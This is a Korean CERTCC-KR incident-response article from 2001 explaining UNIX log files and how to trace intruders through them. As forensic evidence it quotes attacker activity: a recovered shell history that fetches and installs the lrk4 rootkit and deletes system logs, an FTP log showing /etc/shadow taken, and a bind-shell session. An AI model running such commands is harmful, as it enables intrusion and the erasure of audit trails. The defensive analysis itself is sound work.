UNIX 로그분석을 통한 침입자 추적 및 로그관리
: Part Ⅰ

2001. 5. 2

정현철, hcjung@certcc.or.kr

[Part Ⅰ]

[Part Ⅱ]

1. 개요

집에 절도범이 침입하였을 경우, 문손잡이, 창문 등에 난 지문이나 거실바닥의 발자국, 또는 범인의 머리카락 등을 수집하여 분석한다. 범인이 남긴 이러한 사소한 단서들은 범인을 추적하는데 중요한 자료가 된다.

컴퓨터 시스템을 불법적으로 침입한 공격자들도 시스템 여기저기에 이러한 단서들을 남긴다. 불법 침입자의 침입흔적은 시스템의 각종 로그 파일에 남는다. 시스템에 대한 스캔 행위, exploit 툴을 이용한 공격, 특정 사용자 계정으로의 접속, root 권한의 획득, 트로이목마 설치, 자료 유출 및 삭제 등 공격자의 행위 하나하나가 모두 시스템에 의해 감시되고 로그로 남게 된다. 유능한 사고분석자라고 하면 이러한 로그만 확보된다면 공격자가 한 행동을 비디오 테잎으로 재연해서 보듯이 팔짱을 끼고 감상할 수 있게 될 것이다. 이 녀석은 시스템 명령어도 제대로 모르는 초보구나, 이 놈은 꽤나 수준높은 놈이구나 하고...

유닉스 시스템에서는 각종 데몬과 커널에서 매일 엄청난 로그를 남기고 있다. 하지만 이러한 로그의 의미를 제대로 이해를 하지 못하는 시스템 관리자에게 이러한 로그는 디스크만 잡아먹는 쓸모없는 존재일 수 밖에 없을 것이다. 본 고에서는 이러한 로그가 공격자를 추적할 수 있는 유용한 기록으로 인식될 수 있도록 각 로그에 대한 기능과 공격 흔적을 설명하고자 한다. 이미 시스템에는 산재한 로그가 존재하며, 이를 분석하고 조합하고 추리하여 공격자의 행동을 추적하는 것은 Incident Handler의 몫이라고 할 수 있다.

물론 시스템 자체 로그 이외에도 라우터, 침입차단시스템, 침입탐지시스템 등의 네트워크 장비나 보안장비에서도 침입관련 로그를 남기기도 한다. 하나의 event에 대해서 서로 다른 장비에서 각각의 로그를 남기므로 이를 종합적으로 분석하는 것이 보다 정확한 분석이 될 수 있으며, 향후 법적인 증거자료로도 신빙성을 가질 수 있다. 하지만 다른 어떤 장비에서의 로그보다도 침입당한 시스템 자체의 로그가 기본이 된다는 것은 누구나 알 수 있으리라. 본 고에서도 유닉스 시스템 자체에서 남기는 각종 로그에 대해서만 다루도록 한다.

침입자를 추적하기 위해서는 로그파일 뿐만 아니라 각종 시스템 파일이나 공격자가 남긴 공격툴, 백도어 등의 분석도 필요하지만, 본 고의 범위를 벗어나므로 로그 분석으로 한정하도록 한다.

본 고의 [Part Ⅰ]에서는 유닉스 시스템에 남는 각종 로그파일의 종류 및 각각의 로그가 의미하는 것에 대해서 알아보도록 한다. 그리고, 첨부 파일에서는 최근 3년 동안 CERTCC-KR에서 분석한 해킹피해시스템들에서 수집한 로그파일에 남은 침입흔적들을 제시한다. 이 자료는 사고처리자들이 유사한 공격을 받았을 때 공격기법을 이해하는데 좋은 자료가 될 수 있으리라 믿는다.
[Part Ⅱ]에서는 삭제 및 편집이 가능한 로그의 한계를 극복하기 위해 안전하게 로그서버를 운영하는 방안에 대해 살펴보고, 기본적으로 유닉스 시스템 자체에서 남기는 로그파일을 좀 더 충실하게 남기거나 분석을 용이하게 해 주는 도구들에 대해 알아본다.

2. 유닉스 로그 파일 분석 기법

2.1 유닉스 로그파일 종류

유닉스 로그파일을 이용하여 시스템 버그의 원인을 발견하거나 침입자의 출처를 확인하고 해킹 피해의 범위를 알 수 있다.
리눅스를 포함한 유닉스 시스템은 로그의 종류 및 로그의 위치가 시스템마다 조금씩 차이가 있다. [표 1]은 일반적으로 시스템별로 저장되는 로그파일의 위치이다.

디렉토리	유닉스 버전
/usr/adm	국산주전산기Ⅱ, HP-UX
/var/adm	국산주전산기Ⅲ, Solaris, AIX
/var/log	Linux, BSD

[표 1] 로그파일 저장 디렉토리

위와 같은 디렉토리에 제공되는 로그 파일의 종류 및 기본적인 기능은 다음 [표 2]와 같다. 물론 이러한 로그파일도 시스템에 따라 존재하지 않는 경우도 있고 파일명이 약간씩 다를 수도 있다.

파 일 명	기 능
acct 또는 pacct	사용자별로 실행되는 모든 명령어를 기록
aculog	다이얼-아웃 모뎀 관련 기록(자동 호출 장치)
lastlog	각 사용자의 가장 최근 로그인 시간을 기록
loginlog	실패한 로그인 시도를 기록
messages	부트 메시지 등 시스템의 콘솔에서 출력된 결과를 기록하고 syslog에 의하여 생성된 메시지도 기록
sulog	su 명령 사용 내역 기록
utmp	현재 로그인한 각 사용자의 기록
utmpx	utmp 기능을 확장(extended utmp), 원격 호스트 관련 정보 등 자료 구조 확장
wtmp	사용자의 로그인, 로그아웃 시간과 시스템의 종료 시간, 시스템 시작 시간 등을 기록
wtmpx	wtmp 기능 확장(extended wtmp)
vold.log	플로피 디스크나 CD-ROM과 같은 외부 매체의 사용에서 발생하는 에러를 기록
xferlog	FTP 접근을 기록

[표 2] 기본적인 유닉스 로그파일

2.2 로그파일별 분석

앞서 말한 것처럼 유닉스 파일의 종류나 위치 그리고, 그 내용도 시스템 vendor나 운영체제 버전에 따라 조금씩 차이가 있다. 본 고에서는 리눅스 시스템을 위주로 살펴보도록 한다.

2.2.1 utmp, utmpx

utmp 파일은 시스템에 현재 로그인한 사용자들에 대한 상태를 가지고 있다. /var/run/utmp 파일(리눅스)이나 /etc/utmp 파일(솔라리스)에 바이너리 형태로 저장되어 vi 등 편집기로는 확인할 수 없다.

utmp 파일은 utmp.h 헤더파일에 정의되어 있는 utmp라는 structure 자료구조를 가지고 있다.

```
struct utmp {
  short ut_type;              /* type of login */
  pid_t ut_pid;               /* pid of login process */
  char ut_line[UT_LINESIZE];  /* device name of tty - "/dev/" */
  char ut_id[4];              /* init id or abbrev. ttyname */
  char ut_user[UT_NAMESIZE];  /* user name */
  char ut_host[UT_HOSTSIZE];  /* hostname for remote login */
  struct exit_status ut_exit; /* The exit status of a process
                                 marked as DEAD_PROCESS. */
  long ut_session;            /* session ID, used for windowing*/
  struct timeval ut_tv;       /* time entry was made.  */
  int32_t ut_addr_v6[4];      /* IP address of remote host.  */
  char pad[20];               /* Reserved for future use.  */
};
```

기본적으로 다음의 항목들을 포함한다.

- 사용자 이름
- 터미널 장치 이름
- 원격 로그인시 원격 호스트 이름
- 사용자가 로그인 한 시간

앞서 말한 것처럼 utmp 파일은 텍스트 파일이 아니므로 일반 편집기로는 내용을 확인할 수 없고, who, w, whodo, users, finger 등의 명령어가 utmp 파일을 참조하여 관련 정보를 사용자가 볼 수 있는 형태로 보여준다.

“w"는 utmp를 참조하여 현재 시스템에 성공적으로 로그인한 사용자에 대한 snapshot을 제공해주는 명령으로 해킹 피해시스템 분석시에 반드시 확인해 보아야만 한다. 왜냐하면 현재 시스템 분석 중에 공격자가 같이 들어와 있을 경우 자신이 추적당하는 것을 눈치채고 주요 로그를 지우거나 아예 포맷팅을 해 버릴 수도 있기 때문이다.
물론, 정상적인 로그인 절차를 거치지 않고 백도어를 통해 시스템에 접근했을 경우에는 실제 공격자가 시스템에 로그인해 있음에도 불구하고 보여지지 않을 것이다.
정상적인 telnet 접속시에는 login 프로그램에 의해 사용자 인증절차와 로깅과정을 거친 후 쉘이 부여된다. 로깅과정에서는 사용자의 접속내역을 utmp, wtmp, 그리고 lastlog에 기록을 한다. 하지만 rootkit 등에 의해 login이 트로이목마 버전으로 바뀔 경우 특정 패스워드(magic password) 입력시 로깅과정을 거치지 않고 바로 root shell을 부여하므로 w, who 등의 명령으로도 공격자의 접속사실을 알 수 없다. 또한 특정 포트로 쉘을 바로 부여하는 경우도 역시 utmp, wtmp 등의 파일에 로깅을 하지 않으므로, 이들 로그파일을 참조하는 w, who, last 등의 명령으로는 확인이 불가능하다는 것을 명심하여야 한다. 이 경우에는 netstat와 같이 시스템 명령어나 네트워크 모니터링을 통해서 침입자의 존재를 확인할 수 있다.

“w" 명령을 사용하여 현재 시스템에 로그인해 있는 사용자들에 대한 정보를 알아보도록 하자.

```
[root@violet93 /root]# w
  9:11pm  up 6 days,  5:01,  5 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
chief    pts/0    123.45.2.26       Mon10am  7:20m  0.19s  0.04s  telnet xxx.xxx.150.39
hcjung   pts/1    hcjung.kisa.or.k  5:59pm   0.00s  0.11s  0.01s  w
root     pts/2    -                 Thu 3pm  5days  0.03s  0.03s  -sh
root     pts/3    -                 Thu 3pm  5days  0.02s  0.02s  -sh
jys      pts/6    123.45.2.159      Thu 7pm  5days  0.15s  0.04s  sh ./vetescan xxx.xxx.110.21
```

“w"의 결과 어떤 사용자들이 어디에서 로그인해 들어 와 있는지 알 수 있고, 그리고 그 사용자들이 어떤 작업을 하고 있는지 보여준다.
그러면 여기서 사고분석자가 주의깊게 봐야 할 부분은 어떤 부분일까.

- 접속한 사용자 계정이 모두 정상적인 사용자들인가?
- 접속출처가 정상적인 위치인가? 특히, 내부 IP주소 이외에서 접속하였거나, 국외 IP 주소에서 접속한 경우는 의심할 필요가 있다.
- 사용자들의 행위가 정상적인가? scan 툴을 실행하고 있거나 타 시스템을 대상으로 서비스거부공격을 하고 있는지 살핀다.

2.2.2 wtmp, wtmpx

wtmp 파일은 사용자들의 로그인 로그아웃 정보를 가지고 있다. utmp 파일과 마찬가지로 바

이너리 형태이며, 자료구조도 역시 utmp라는 structure를 사용한다.
utmp 파일이 현재 로그인해 있는 사용자에 대한 snapshot 이라고 하면, wtmp는 지금까지 사용자들의 로그인, 로그아웃 히스토리를 모두 가지고 있고, 시스템의 shutdown, booting 히스토리까지 포함을 하고 있어, 해킹 피해시스템 분석에서 대단히 중요한 로그라고 할 수 있다.
wtmp 파일도 역시 바이너리 형태인데 "last"라는 명령을 이용하여 내용을 확인할 수 있다.

last를 실행해 보자.

```
[root@violet93 /root]# last
hcjung    ftpd5812     123.45.4.80       Tue Apr 17 21:44 - 21:59  (00:15)
hcjung    pts/1        hcjung.kisa.or.k Tue Apr 17 17:59    still logged in
yjkim     pts/1        123.45.2.149      Mon Apr 16 20:06 - 20:34  (00:28)
kong      pts/1        123.45.2.146      Mon Apr 16 16:36 - 18:13  (01:37)
chief     pts/0        123.45.2.26       Mon Apr 16 10:38 - 14:35 (2+03:56)
reboot    system boot                    Mon Apr 16 01:52
hcjung    pts/1        hcjung            Mon Apr 15 01:21 - crash    (00:30)
```

여기서 사고분석을 위해 주의깊게 살펴봐야 할 부분은 다음과 같다.

- 접속시간이 정상적인가? 보통 국외에서 공격을 받았을 경우 우리나라와 시간대역이 틀려, 국내에는 새벽시간대에 침입한 것으로 흔적이 남는 경우가 많다.
- 접속출처가 정상적인 위치인가? 주로 접속하는 IP(내부 IP 블록)가 아닌 곳에서 접속하였거나, 특히, 국외 IP 주소에서 접속한 경우는 의심할 필요가 있다.

last 결과를 보면 너무 많은 로그가 있기 때문에 grep 명령으로 내부에서의 접속한 것을 제외하고 살펴보면 도움이 될 수 있을 것이다.
즉, 사용하는 내부 IP 블록이 123.45.2.x 이고, 도메인이 kisa.or.kr 이라고 한다면 다음과 같이 하면 많은 부분 걸러질 수 있다.

```
# last | grep -v 123.45.2 | grep -v kisa.or.kr
```

그런데, last 명령을 통해서 원격에서 접속한 호스트를 확인했는데 도메인 네임이 전부 화면에 나타나지 않는 경우가 있을 것이다.

```
moksoon    ftp          ts7-70t-18.idire Sat Nov  6 13:26 - 13:30  (00:03)
```

위에서와 같이 last 명령에서는 공격자 추적에 중요한 자료인 원격 호스트명이 16 문자까지만 화면에 보여지는데 16문자를 넘는 도메인 네임의 경우 어디에서 접속했는지 알 수 없는 경우가 흔히 있다. 리눅스 시스템의 경우, secure 파일에 인증관련 접속로그가 text 파일 형태로 기록되는데, 여기서는 도메인네임의 문자수에 관계없이 기록이 된다(2.2.3 secure 참조). 하지만 솔라리스 시스템에서는 이 secure 로그파일이 존재하지 않는데 분석이 불가능

한 것일까? 그렇지 않다. last 명령을 통해서 16문자까지 화면에 보여질 뿐 실제 wtmp 파일에는 전체 원격 호스트의 주소가 완전하게 저장되어 있다. 따라서 정말 필요한 로그일 경우 wtmp파일에서 utmp structure 형태로 읽을 수 있는 간단한 프로그램을 짜는 것도 가능하다.

그리고, 모든 로그파일이 그렇지만 wtmp 파일도 일정시간을 주기로 rotate된다. 이전의 wtmp 파일은 wtmp.1파일에 저장되는데 이 파일에서도 접속 로그를 확인할 필요성이 있을 것이다. 이때 "-f"옵션을 사용할 수 있다.

즉,

 # last -f ./wtmp.1 or
 # last -f ./wtmpx.1

일반적으로 last를 할 경우 wtmp(x) 파일을 참조하여 결과를 보여주지만, 참조하는 파일을 지정하여 지난 로그를 볼 수 있다.

2.2.3 secure

secure 파일은 파일명에서 의미하는 것처럼 보안과 관련된 주요한 로그를 남기며, 사용자 인증 관련된 로그를 포함하고 있다.
secure 파일은 로깅데몬인 syslog 데몬에 의해 남겨지는데 binary 파일이 아니므로 vi 등의 편집기로도 확인할 수 있다.

```
# cat /var/log/secure
Apr  8 18:45:38 insecure in.rshd[4722]: connect from 123.45.2.159
Apr  8 18:45:38 insecure in.rlogind[4724]: connect from 123.45.2.159
Apr  8 18:45:38 insecure in.ftpd[4726]: connect from 123.45.2.159
Apr  8 18:45:38 insecure in.fingerd[4728]: connect from 123.45.2.159
Apr  8 18:45:38 insecure in.telnetd[4725]: connect from 123.45.2.159
Apr  8 19:03:07 insecure in.ftpd[4742]: connect from 123.45.2.159
Apr 11 18:23:07 insecure in.telnetd[6528]: connect from 123.45.2.14
Apr 11 18:23:13 insecure login: LOGIN ON 1 BY hcjung FROM hcjung
Apr 11 19:21:11 insecure in.telnetd[6583]: connect from 123.45.2.14
Apr 11 19:21:21 insecure login: LOGIN ON 1 BY hcjung FROM hcjung
Apr 12 01:53:12 insecure login: ROOT LOGIN ON tty1
Apr 12 02:42:54 insecure in.ftpd[607]: connect from 123.45.2.161
Apr 12 23:58:29 insecure in.telnetd[1095]: connect from 123.45.2.14
Apr 12 23:58:35 insecure login: LOGIN ON 2 BY hcjung FROM hcjung
Apr 13 00:15:30 insecure in.telnetd[1134]: connect from 123.45.2.14
Apr 13 00:15:41 insecure login: LOGIN ON 2 BY hcjung FROM hcjung
```

위의 로그에서 "Apr 8 18:45:38"에 123.45.2.159로부터 rsh, rlogin, ftp, finger, telnet 등에 대한 접속요청이 있었음을 볼 수 있다. 한 사용자가 정상적인 방법으로는 도저히 짧은 시간

(1초)안에 이들 서비스 요청을 할 수 없다. 이 로그를 통해 123.45.2.159로부터 multiple 스캔 공격이 있었음을 쉽게 알 수 있다.

secure 로그파일에는 telnet, ftp 이외에도 pop 등 인증을 요하는 모든 네트워크 서비스에 대한 로그가 남는다.

2.2.4 lastlog

lastlog 파일은 각 사용자가 가장 최근에 로그인 한 시간이 기록되는 파일로서 사용자가 시스템에 로그인 할 때 마다 기록된다. 동일한 사용자에 대해서는 이전 내용을 overwrite 함으로써 갱신한다. lastlog 파일은 utmp, wtmp 파일과 함께 login 프로그램에 의해 사용자 인증 후 기록되는 로그파일로써 binary 형태로 저장된다. 내용을 확인하기 위해서는 파일명과 같은 lastlog 명령어를 입력하면 된다.

다음은 모든 사용자들의 가장 최근의 로그인한 정보를 보여주고 있다.

```
# lastlog
Username         Port     From             Latest
root             :0                        Mon Apr 23 19:11:17 +0900 2001
bin                                        **Never logged in**
daemon                                     **Never logged in**
adm                                        **Never logged in**
apache                                     **Never logged in**
named                                      **Never logged in**
yjkim            pts/0    123.45.2.160     Wed Apr 18 20:16:08 +0900 2001
chief            pts/0    123.45.2.26      Fri Apr 20 14:06:00 +0900 2001
khlee            pts/2    violet93         Wed Jan 31 19:34:11 +0900 2001
hcjung           pts/0    123.45.2.14      Mon Apr 23 16:59:41 +0900 2001
jys              pts/1    123.45.2.152     Thu Apr 12 20:05:31 +0900 2001
```

2.2.5 loginlog, btmp

loginlog 파일은 Solaris를 포함한 System V 계열의 유닉스에서 실패한 로그인 시도를 기록하는 파일로서 기본적으로 제공되지는 않으며 다음 과정을 통하여 생성한다.

```
# touch   /var/adm/loginlog
# chown root /var/adm/loginlog
# chmod 600 /var/adm/loginlog
```

일반적으로 System V계열의 유닉스에서는 사용자가 5번째 로그인 시도에 실패하면 시스템에서 강제로 접속을 끊는다. loginlog 파일에는 다음과 같은 내용이 기록된다.

- 날짜 및 시간
- 터미널 명
- 사용자 ID

loginlog 파일은 text 형태의 파일로 저장되므로 vi 등의 편집기로 확인할 수 있다.

```
# tail -f /var/adm/loginlog
hcjung:/dev/pts/9:Fri Apr 20 14:48:46 2001
hcjung:/dev/pts/9:Fri Apr 20 14:48:54 2001
hcjung:/dev/pts/9:Fri Apr 20 14:49:02 2001
hcjung:/dev/pts/9:Fri Apr 20 14:49:11 2001
hcjung:/dev/pts/9:Fri Apr 20 14:49:20 2001
```

loginlog의 경우 한 세션에서 4번 이하의 로그인 실패인 경우는 로그를 남기지 않았다.

System V계열에서 loginlog 파일이 존재한다면 리눅스 시스템에서는 실패한 로그인 시도에 대해서 btmp 파일에 로그를 남긴다.
lastlog 파일과 마찬가지로 시스템 관리자가 btmp 파일을 생성시켜 주어야 하는데, lastlog 파일의 생성과정과 마찬가지로 /var/log/btmp 파일을 생성한다.
btmp 파일은 lastlog와는 달리 binary 형태의 파일이다. 이 내용을 확인하기 위해서는 "lastb"라는 명령을 사용한다.

```
# ls -l btmp
-rw-r--r--    1 root       root            9216 Apr 20 23:27 btmp
# lastb
root       pts/4        hcjung             Fri Apr 20 23:27 - 23:27   (00:00)
root       pts/4        hcjung             Fri Apr 20 23:27 - 23:27   (00:00)
hcjung     pts/2        hcjung             Fri Apr 13 00:15 - 00:15   (00:00)
           pts/5        violet93           Wed Mar 28 21:50 - 21:50   (00:00)
chief      pts/5        violet93           Wed Mar 28 21:50 - 21:50   (00:00)
chief      pts/5        violet93           Wed Mar 28 21:50 - 21:50   (00:00)
root       pts/1        123.45.2.14        Wed Jan 17 02:37 - 02:37   (00:00)
root       pts/1        123.45.2.14        Wed Jan 17 02:37 - 02:37   (00:00)
hcjung     pts/1        123.45.2.14        Wed Jan 17 02:36 - 02:36   (00:00)
hcjung     pts/1        insecure.kisa.or Wed Jan 17 02:33 - 02:33   (00:00)
hcjung     pts/1        insecure.kisa.or Wed Jan 17 02:33 - 02:33   (00:00)
```

로그인 실패에 대한 기록은 brute-force 공격과 같은 패스워드 시스템에 대한 공격에 대한 로그를 남길 수 있다.

2.2.6 sulog

sulog는 su(substitute user) 명령어를 사용한 결과가 저장되는 파일이다.

su는 시스템에 로그인하는 절차를 거치지 않고 타 사용자 ID로 전환하는 기능을 제공하는 명령어로서 전환하고자 하는 해당 사용자의 ID와 패스워드 검증 절차를 제공한다. su 명령어를 이용하면 타 사용자의 ID로 로그인하는 것과 똑같은 효과를 제공받게 되므로 사용자 로그인 정보를 기록하는 utmp/wtmp 파일과의 관계를 검토해 볼 필요가 있다. su 명령어와 utmp/wtmp 파일과의 관계는 다음과 같다.

- su 명령어를 이용하여 정상적인 절차를 거쳐 해당 사용자 ID로 변환하게 되면 su 명령어를 수행한 사용자의 effective UID가 변환된 사용자의 UID로 변경된다. 그러나 이와 같은 내용은 utmp와 wtmp에 반영되지 않는다.
- 특히 “su - userID"와 같이 하면 해당 사용자(userID)로의 변환뿐만 아니라 해당 사용자의 사용환경으로 완전하게 변환되게 되므로 해당 사용자의 로그인 쉘과 똑같이 사용 가능하다.

여기서 공격자가 일반사용자 권한으로 침입한 후 su 명령을 이용하여 root 권한으로 바꾼 후 여러 가지 작업을 하였다고 하더라도 last 명령만으로는 이 공격자가 root 권한을 획득했는지 알 수 없다는 것을 알 수 있다. sulog를 통하여 특정 사용자로부터의 수퍼유저에 대한 변환시도는 시스템 관리자 권한의 불법적인 사용시도를 의심해 볼 필요가 있다.

sulog 파일에는 다음 내용이 기록된다

- 날짜 및 시간
- 성공/실패(+/-)
- 사용한 터미널이름
- From 사용자 이름
- To 사용자 이름

다음은 sulog의 결과이다.

 # more /var/log/sulog
SU 04/18 09:10 - pts/8 hcjung-root
SU 04/18 09:10 - pts/8 hcjung-root
SU 04/18 09:10 + pts/8 hcjung-root

hcjung라는 사용자 계정이 두 번의 실패 후에 root 권한으로 변환에 성공한 것을 알 수 있다. 공격자가 생성한 불법계정이나 공격자가 사용한 계정과 관련된 sulog는 주의깊게 점검하여야 한다.

2.2.7 xferlog

xferlog는 ftp 데몬을 통하여 송수신되는 모든 파일에 대한 기록을 제공한다. xferlog 파일에는 다음의 정보가 저장된다.

- 송수신 자료와 시간
- 송수신을 수행한 원격 호스트
- 송수신된 파일의 크기
- 송수신된 파일의 이름
- 파일의 송수신 모드 (a:아스키 파일, b:이진파일)
- 특수 행위 플래그 (C:압축, U:비압축, T:Tar archive)
- 전송 방향 (o:outgoing, i:ingoing)
- 로그인한 사용자의 종류 (a:anonymous, g:guest, r:패스워드를 통한 인증된 사용자)

다음은 xferlog의 예이다.

 # more /var/log/xferlog
Sat Apr 21 00:53:44 2001 1 violet93.kisa.or.kr 14859 /dev/.../statdx2.c a _ i r root ftp 1 root c
Sat Apr 21 00:54:09 2001 1 violet93.kisa.or.kr 821 /etc/shadow a _ o r root ftp 1 root c

위의 로그에서 violet93 호스트에서 ftp 서버에 접속하여 /dev/.../ 디렉토리에 rpc.statd 공격용 툴인 statdx2.c 파일을 설치하였고, 이 서버로부터 shadow 파일을 유출해 간 것을 알 수 있다. 이같은 로그가 남았을 경우 /dev/.../ 디렉토리가 실제 존재하는지 확인하고, 그 hidden 디렉토리 내에 있을 수 있는 각종 공격툴이나 공격 결과물들을 분석할 필요가 있을 것이다. 또한 shadow 파일이 유출되어 Crack에 의해 사용자 패스워드가 노출되었을 가능성이 있으므로 패스워드 교체작업도 필요할 것이다.

xferlog에서 분석자가 주의깊게 살펴봐야 할 부분은 어디일까.
wtmp에서와 마찬가지로 xferlog에서도 접속시간과 remote 시스템의 적정성, 그리고 로그인 사용자 등을 살펴보아야 할 것이다. 그리고, xferlog에서는 송수신한 파일이 해킹툴이나 주요 자료인지 여부도 보아야 한다.

2.2.8 acct, pacct

지금까지의 로그파일들은 누가 언제 어디에서 어느 계정으로 시스템에 접근했는지에 대한 정보들을 보여주었다. 하지만 해킹 피해시스템의 피해 정도와 백도어 설치여부 등을 알기 위해서는 시스템에 불법침입한 공격자가 도대체 어떤 행동을 했느냐는 것이 반드시 필요하다. 이러한 로그가 바로 시스템 사용내역 즉, 프로세스 account이며, acct 또는 pacct 파일에 기록된다.
acct 및 pacct 파일은 사용자가 직접 읽을 수 없는 binary 형태로 사용자가 수행한 단일명령어의 정보를 기록하고 있다. 이 내용은 acct 또는 pacct 파일의 내용을 사용자가 읽기 가능한 형태로 출력하는 lastcomm이나 acctcom 명령어에 의하여 확인가능하다. 그러나 acct/pacct 파일은 사용자별로 사용한 명령어를 구분하는데 유용하게 사용될 수 있지만, 사용된 명령어의 argument와 그 명령어가 시스템 내 어느 파일시스템의 어느 디렉토리에서

실행되었는지는 기록하지 않으므로 공격자들의 행위를 추적하기에는 부족한 점이 많다.

acct/pacct 또한 기본적으로 설정되어 있지 않은 상태이며, 관리자가 accounting을 하도록 설정하여야 한다. 설정 방법은 System V계열과 BSD 계열이 약간 다르다.

● System V 계열 유닉스에서의 accounting

SVR4 시스템에서는 일반적으로 다음과 같이 startup 명령어에 의하여 accounting이 시작된다.

 # startup 파일이름

pacct 파일에 accounting 정보가 저장되고 acctcom명령으로 읽을 수 있다. accounting은 유닉스 커널에 의해서 수행되며, 프로세스가 종료 될 때마다 커널은 32바이트 레코드를 pacct파일에 저장한다.

pacct 파일에는 다음 내용이 저장된다.

- 명령어 이름
- 명령어를 실행시킨 사용자 이름
- CPU 사용량
- 플래그
  S : 수퍼 유저에 의해 실행된 명령어
  F : fork하고 exec 하지 않은 명령어
  D : 종료될때 core file을 생성한 명령어
  X : 시그널에 의해 종료된 명령어

● BSD 계열 유닉스에서의 accounting

BSD 계열 유닉스에서는 일반적으로 다음과 같이 accton 명령을 실행하여 accounting이 시작된다.

 # accton 파일이름

파일이름은 accounting 정보를 저장할 파일 이름을 지정해 주는 것으로서 일반적으로 해당 경로명 내의 acct 파일이다. 이 파일의 내용은 lastcomm 명령어로 읽을 수 있다.

공격자가 9704번 백도어 포트에 쉘을 바인딩한 상태에서 공격자가 이 포트로 접근하여 몇 가지 명령을 실행해 보도록 하자.

 # telnet 123.45.2.34 9704

```
Trying 123.45.2.34...
Connected to 123.45.2.34.
Escape character is '^]'.
bash# id
id
uid=0(root) gid=0(root) groups=0(root)
bash#
bash# mkdir /dev/...
mkdir /dev/...
bash#
bash# cd /dev/...
cd /dev/...
bash#
bash# pwd
pwd
/dev/...
bash#
bash# touch aaa
touch aaa
bash#
bash# rm -rf /tmp/xxx
rm -rf /tmp/xxx
bash#
```

이때 123.45.2.34 시스템의 pacct 파일에는 다음과 같이 기록되었다.

```
# lastcomm
rm                 root     ??         0.00 secs Thu Apr 26 01:08
touch              root     ??         0.00 secs Thu Apr 26 01:08
mkdir              root     ??         0.00 secs Thu Apr 26 01:08
id                 root     ??         0.01 secs Thu Apr 26 01:07
```

이 lastcomm의 결과만으로는 공격자가 어떤 디렉토리를 생성해서 어디로 이동했고, 어느 파일을 삭제했는지에 대한 정보를 전혀 알 수 없다. 그리고, 디렉토리 이동(cd)은 pacct에 기록도 되지 않았다.

2.2.9 history 파일

유닉스 시스템에서 제공하는 프로세스 어카운팅은 공격자의 행위를 알아내기에는 대단히 부족한 점이 많았음을 알 수 있다. acct/pacct 이외에 공격자가 한 행위를 알 수 있는 방법은 없을까.

history 파일을 살펴 볼 수 있다. history 파일은 각 사용자별로 수행한 명령을 기록하는 파일로써, csh, tcsh, ksh, bash 등 사용자들이 사용하는 쉘에 따라 .history, .bash_history 파일에 기록된다. 해킹 피해시스템 분석시 불법사용자 계정이나 root 계정의 history 파일을 분석함으로써, 공격자가 시스템에 접근한 후 수행한 명령어들을 확인할 수 있다. 물론 앞서

acct/pacct 파일에서 기록하지 못하였던 명령어의 argument나 디렉토리의 위치까지 기록이 가능하므로 공격자의 행위를 추적하는데 대단히 유용한 정보가 될 수 있다.

다음은 한 해킹 피해시스템에서 가져 온 history 파일이다.

```
# more /root/.bash_history
mkdir ." "
cd ." "
ncftp ftp.tehcnotronic.com
gunzip *.gz
tar -xvf *.tar
cd lrk4
make all
cd ..
rm -Rf lrk4
ncftp ftp.technotronic.com
gunzip *.gz
tar -xvf *.tar
ls
rm lrk4.src.tar
tar -xvf *.tar
cd lrk4
make install
cd ..
cd ..
rm -Rf ." "
pico /dev/ptyr
mkdir /usr/sbin/mistake.dir
rm /var/log/messages
rm /var/log/wtmp
touch /var/log/wtmp
pico /etc/passwd
reboot
exit
```

위의 일련의 history는 공격자가 hidden 디렉토리를 생성하고 루트킷(lrk4)를 다운로드 받아 첫번째 설치 실패 후 2번째 설치에 성공하였으며, 로그파일들을 지운 후 시스템을 리부팅한 것을 볼 수 있다.

history 파일은 보통 각 사용자의 홈디렉토리에 생성이 된다고 말했었는데 정상적인 로그인 절차를 거치지 않고 백도어 포트로 접속하여 쉘을 부여받았을 경우는 어떻게 될까.
즉, 9704번 포트에 root shell을 바인딩하고 이 포트로 접속을 하게 되면 root의 홈디렉토리(리눅스 시스템의 경우 /root/)에 .bash_history 파일이 생성되는 것이 아니라, 파일시스템의 최상위 디렉토리에 history 파일이 생성되는 것을 확인할 수 있었다. 즉, /.bash_history 파일에 백도어 포트로 접속하여 사용한 명령어들이 기록된다.
2.2.8절에서 9704포트로 접속하였을 경우 /.bash_history에 다음과 같은 로그가 남았다.

 # more /.bash_history
id
mkdir /dev/...
cd /dev/...
pwd
touch aaa
rm -rf /tmp/xxx

pacct나 acct의 로그와는 달리 이 history 파일의 내용은 공격자의 행위를 쉽게 알 수가 있게 한다.

리눅스 시스템에서 /.bash_history 파일이 존재한다면 해킹을 의심해 보아야 한다. 일반적으로 리눅스 시스템에서 사용자 홈디렉토리를 "/"로 사용하지 않음을 명심하자.

2.2.10 messages

콘솔 상의 화면에 출력되는 메시지들은 messages 로그파일에 저장이 된다. messages 로그파일은 대단히 방대한 정보를 포함하고 있다. 시스템 관리자가 시스템 장애 원인을 찾아내기 위해서도 messages 파일을 점검한다. 이 파일에는 파일시스템 full, device failure, 시스템 설정 오류 등의 다양한 내용을 가지고 있다.
시스템의 장애 원인을 찾기 위한 것 이외에서 보안 측면에서도 messages 파일은 상당히 중요한 역할을 하고 있는데, messages 파일에 어떤 취약점으로 인해 공격을 받았는지에 대한 흔적을 남기고 있기 때문이다.

messages 파일의 각 로그는 다음의 내용을 포함하고 있다.

- timestamp
- 호스트명
- 프로그램명
- 메시지 내용

다음의 국내 해킹 피해시스템(Solaris 2.6)의 messages 로그를 보자.

Apr 10 17:25:53 victim /usr/dt/bin/rpc.ttdbserverd[29906]: _Tt_file_system::findBestMountPoint -- max_match_entry is null, aborting...
Apr 10 17:25:54 victim inetd[147]: /usr/dt/bin/rpc.ttdbserverd: Segmentation Fault - core dumped
Apr 10 17:26:03 victim /usr/dt/bin/rpc.ttdbserverd[8206]: iserase(): 78
Apr 10 17:26:14 victim inetd[147]: /usr/sbin/sadmind: Bus Error - core dumped
Apr 10 17:26:18 victim last message repeated 1 time
Apr 10 17:26:21 victim inetd[147]: /usr/sbin/sadmind: Segmentation Fault - core dumped
Apr 10 17:26:23 victim inetd[147]: /usr/sbin/sadmind: Hangup
Apr 10 17:31:20 victim login: change password failure: No account present for user
Apr 10 17:33:15 victim last message repeated 2 times

Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/rpc.ttdbserverd: Killed
Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/rpc.cmsd: Killed

